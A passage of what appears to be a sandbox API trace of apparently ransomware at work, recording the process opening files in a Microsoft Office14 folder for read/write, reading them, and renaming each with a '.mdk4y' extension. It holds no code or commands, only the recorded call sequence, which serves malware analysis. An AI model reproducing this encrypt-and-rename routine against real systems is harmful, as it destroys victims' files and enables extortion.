returned 1 [0228.536] GetACP () returned 0x4e4 [0228.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NPAUTHZ.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="NPAUTHZ.DLL11.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0228.536] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NPAUTHZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\npauthz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830376700000) returned 1 [0228.537] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x47a0, lpOverlapped=0x0) returned 1 [0228.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830376900000) returned 1 [0228.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830376900000) returned 1 [0228.539] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NPAUTHZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\npauthz.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NPAUTHZ.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\npauthz.dll.mdk4y")) returned 1 [0228.541] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.541] AreFileApisANSI () returned 1 [0228.541] GetACP () returned 0x4e4 [0228.541] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OART.DLL", cchWideChar=8, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OART.DLLDLL", lpUsedDefaultChar=0x37dfd8) returned 8 [0228.541] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oart.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830377300000) returned 1 [0228.543] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0228.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830380900000) returned 1 [0228.580] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830381000000) returned 1 [0228.653] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oart.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OART.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\oart.dll.mdk4y")) returned 1 [0228.654] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.655] AreFileApisANSI () returned 1 [0228.655] GetACP () returned 0x4e4 [0228.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OARTCONV.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OARTCONV.DLL1.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0228.655] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OARTCONV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oartconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830388600000) returned 1 [0228.656] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0228.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830391900000) returned 1 [0228.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830391900000) returned 1 [0228.713] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OARTCONV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oartconv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OARTCONV.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\oartconv.dll.mdk4y")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.716] AreFileApisANSI () returned 1 [0228.716] GetACP () returned 0x4e4 [0228.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OCRHC.DAT", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OCRHC.DATDLL", lpUsedDefaultChar=0x37dfd8) returned 9 [0228.716] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrhc.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.718] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830394800000) returned 1 [0228.718] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xd00c, lpOverlapped=0x0) returned 1 [0228.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830397300000) returned 1 [0228.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830397300000) returned 1 [0228.744] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrhc.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ocrhc.dat.mdk4y")) returned 1 [0228.746] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.746] AreFileApisANSI () returned 1 [0228.746] GetACP () returned 0x4e4 [0228.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OCRVC.DAT", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OCRVC.DAT", lpUsedDefaultChar=0x37dfd8) returned 9 [0228.746] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrvc.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830397700000) returned 1 [0228.747] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xa00c, lpOverlapped=0x0) returned 1 [0228.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830397900000) returned 1 [0228.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830397900000) returned 1 [0228.749] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrvc.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ocrvc.dat.mdk4y")) returned 1 [0228.751] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.751] AreFileApisANSI () returned 1 [0228.751] GetACP () returned 0x4e4 [0228.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OEMPRINT.CAT", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OEMPRINT.CAT", lpUsedDefaultChar=0x37dfd8) returned 12 [0228.751] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT" (normalized: "c:\\program files\\microsoft office\\office14\\oemprint.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830398300000) returned 1 [0228.753] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1c99, lpOverlapped=0x0) returned 1 [0228.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830399900000) returned 1 [0228.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830399900000) returned 1 [0228.769] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT" (normalized: "c:\\program files\\microsoft office\\office14\\oemprint.cat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\oemprint.cat.mdk4y")) returned 1 [0228.773] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.773] AreFileApisANSI () returned 1 [0228.773] GetACP () returned 0x4e4 [0228.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OFFOWC.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OFFOWC.DLLAT", lpUsedDefaultChar=0x37dfd8) returned 10 [0228.773] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFOWC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\offowc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.783] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830401300000) returned 1 [0228.783] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0228.817] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830404700000) returned 1 [0228.817] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830404700000) returned 1 [0228.832] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFOWC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\offowc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFOWC.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\offowc.dll.mdk4y")) returned 1 [0228.835] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.835] AreFileApisANSI () returned 1 [0228.835] GetACP () returned 0x4e4 [0228.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OFFRHD.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OFFRHD.DLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0228.835] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFRHD.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\offrhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830406600000) returned 1 [0228.836] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x123e0, lpOverlapped=0x0) returned 1 [0228.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830406700000) returned 1 [0228.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830406800000) returned 1 [0228.838] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFRHD.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\offrhd.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFRHD.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\offrhd.dll.mdk4y")) returned 1 [0228.840] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.840] AreFileApisANSI () returned 1 [0228.840] GetACP () returned 0x4e4 [0228.840] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OFFXML.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OFFXML.DLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0228.840] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFXML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\offxml.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830407200000) returned 1 [0228.842] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x7d778, lpOverlapped=0x0) returned 1 [0228.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830410400000) returned 1 [0228.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830410400000) returned 1 [0228.879] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFXML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\offxml.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFXML.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\offxml.dll.mdk4y")) returned 1 [0228.882] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.882] AreFileApisANSI () returned 1 [0228.882] GetACP () returned 0x4e4 [0228.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ogalegit.dll", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ogalegit.dll", lpUsedDefaultChar=0x37dfd8) returned 12 [0228.882] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.882] AreFileApisANSI () returned 1 [0228.882] GetACP () returned 0x4e4 [0228.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OIMG.DLL", cchWideChar=8, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OIMG.DLL.dll", lpUsedDefaultChar=0x37dfd8) returned 8 [0228.882] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OIMG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oimg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830411400000) returned 1 [0228.884] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0228.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830414100000) returned 1 [0228.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830414100000) returned 1 [0228.935] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OIMG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oimg.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OIMG.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\oimg.dll.mdk4y")) returned 1 [0228.937] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.937] AreFileApisANSI () returned 1 [0228.937] GetACP () returned 0x4e4 [0228.937] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OIS.EXE", cchWideChar=7, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OIS.EXEL", lpUsedDefaultChar=0x37dfd8) returned 7 [0228.937] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OIS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\ois.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830416800000) returned 1 [0228.938] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x49168, lpOverlapped=0x0) returned 1 [0228.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830421000000) returned 1 [0228.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830421000000) returned 1 [0228.983] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OIS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\ois.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OIS.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ois.exe.mdk4y")) returned 1 [0228.985] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0228.985] AreFileApisANSI () returned 1 [0228.985] GetACP () returned 0x4e4 [0228.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OISAPP.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OISAPP.DLLll", lpUsedDefaultChar=0x37dfd8) returned 10 [0228.986] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OISAPP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oisapp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0228.987] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830421700000) returned 1 [0228.987] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0229.015] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830424500000) returned 1 [0229.015] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830424500000) returned 1 [0229.025] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OISAPP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oisapp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OISAPP.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\oisapp.dll.mdk4y")) returned 1 [0229.055] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.055] AreFileApisANSI () returned 1 [0229.055] GetACP () returned 0x4e4 [0229.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="oisctrl.dll", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="oisctrl.dlll", lpUsedDefaultChar=0x37dfd8) returned 11 [0229.055] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.055] AreFileApisANSI () returned 1 [0229.055] GetACP () returned 0x4e4 [0229.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OISGRAPH.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OISGRAPH.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0229.056] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OISGRAPH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oisgraph.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0229.129] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830435900000) returned 1 [0229.129] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x59f78, lpOverlapped=0x0) returned 1 [0229.168] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830439800000) returned 1 [0229.168] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830439800000) returned 1 [0229.171] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OISGRAPH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oisgraph.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OISGRAPH.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\oisgraph.dll.mdk4y")) returned 1 [0229.174] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.174] AreFileApisANSI () returned 1 [0229.174] GetACP () returned 0x4e4 [0229.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLKFSTUB.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OLKFSTUB.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0229.174] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKFSTUB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\olkfstub.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0229.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830440600000) returned 1 [0229.176] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x3f580, lpOverlapped=0x0) returned 1 [0229.238] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830446800000) returned 1 [0229.238] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830446800000) returned 1 [0229.241] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKFSTUB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\olkfstub.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKFSTUB.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\olkfstub.dll.mdk4y")) returned 1 [0229.245] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.245] AreFileApisANSI () returned 1 [0229.245] GetACP () returned 0x4e4 [0229.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLKIRM.XML", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OLKIRM.XMLLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0229.245] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0229.247] 